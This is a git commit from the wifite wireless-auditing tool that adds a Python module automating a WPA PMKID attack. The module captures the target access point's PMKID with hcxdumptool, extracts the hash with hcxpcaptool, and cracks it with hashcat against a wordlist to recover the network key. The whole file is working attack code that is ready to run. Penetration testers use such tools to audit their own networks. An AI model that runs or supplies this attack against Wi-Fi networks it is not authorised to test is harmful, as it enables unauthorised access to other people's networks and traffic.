Added PMKID attack. Simplified attack-loop.

This commit is contained in:
derv82
2018-08-15 11:08:12 -07:00
parent 0d44a6bc3d
commit 936230dd50
7 changed files with 371 additions and 81 deletions

165
wifite/attack/pmkid.py Normal file
View File

@@ -0,0 +1,165 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
from ..model.pmkid_result import CrackResultPMKID
from threading import Thread
import os
import time
'''
TODO:
1. Rename AttackWPA to AttackWpaHandshake
2. Rename AttackWPS to AttackWpaPixie
3. Rename AttackPMKID to AttackWpaPMKID
4. Use AttackWPA to try any or all of the above depending on config/args.
Greatly simplifies the attack loop in wifite.py
Or consolidate all attacks under "Attack" which selects the correct attack based on the target.
Might be hard to capture KeyboardInterrupt, but we can always propagate it.
Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util'
'''
class AttackPMKID(Attack):
def __init__(self, target):
super(AttackPMKID, self).__init__(target)
self.crack_result = None
self.success = False
self.pcapng_output = Configuration.temp('pmkid.pcapng')
self.pmkid_output = Configuration.temp('pmkid.16800')
def run(self):
# TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found.
self.keep_capturing = True
self.timer = Timer(60)
# Start hcxdumptool
t = Thread(target=self.hcxdump_thread)
t.start()
# Regularly check hcxpcaptool output for hash for self.target.essid
pmkid_hash = None
while self.timer.remaining() > 0:
pmkid_hash = self.get_pmkid_hash()
if pmkid_hash is not None:
# Got PMKID
break
Color.pattack('PMKID', self.target, 'capture',
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
time.sleep(1)
if pmkid_hash is not None:
Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...')
# When hash is found, start cracking
if self.crack_pmkid(pmkid_hash):
self.success = True
self.keep_capturing = False
return self.success
def crack_pmkid(self, pmkid_hash):
# Write hash to file
# TODO: Should we write this to ./hs/ with .pmkid suffix?
hash_file = Configuration.temp('pmkid.hash')
with open(hash_file, 'w') as f:
f.write(pmkid_hash)
f.write('\n')
# Run hashcat
command = [
'hashcat',
'--force',
'--quiet',
'-m', '16800',
'-a', '0', # TODO: Configure
'-w', '2', # TODO: Configure
hash_file,
Configuration.wordlist
]
# TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
stdout = ''
if ':' not in stdout:
# Failed
Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ')
Color.pl("")
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None)
#self.crack_result.dump()
return False
else:
# Update Crack Result
key = stdout.strip().split(':', 1)[1]
Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key)
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key)
self.crack_result.dump()
return True
def get_pmkid_hash(self):
if os.path.exists(self.pmkid_output):
os.remove(self.pmkid_output)
command = [
'hcxpcaptool',
'-z', self.pmkid_output,
self.pcapng_output
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_output):
return None
with open(self.pmkid_output, 'r') as f:
output = f.read()
# Check that we got the right target
# pmkid_hash*bssid*station_mac*essid(hex)
for line in output.split('\n'):
fields = line.split('*')
if len(fields) < 3:
continue
if fields[1].lower() != self.target.bssid.lower().replace(':', ''):
continue
output = line
break
os.remove(self.pmkid_output)
return output
def hcxdump_thread(self):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_file:
filter_file.write(self.target.bssid.replace(':', ''))
if os.path.exists(self.pcapng_output):
os.remove(self.pcapng_output)
command = [
"hcxdumptool",
"-i", Configuration.interface,
"--filterlist", filterlist,
"--filtermode", "2",
"-c", self.target.channel,
"-o", self.pcapng_output
]
hcxdump_proc = Process(command)
# Let the dump tool run until we have the hash.
while self.keep_capturing and hcxdump_proc.poll() == None:
time.sleep(0.5)
hcxdump_proc.interrupt()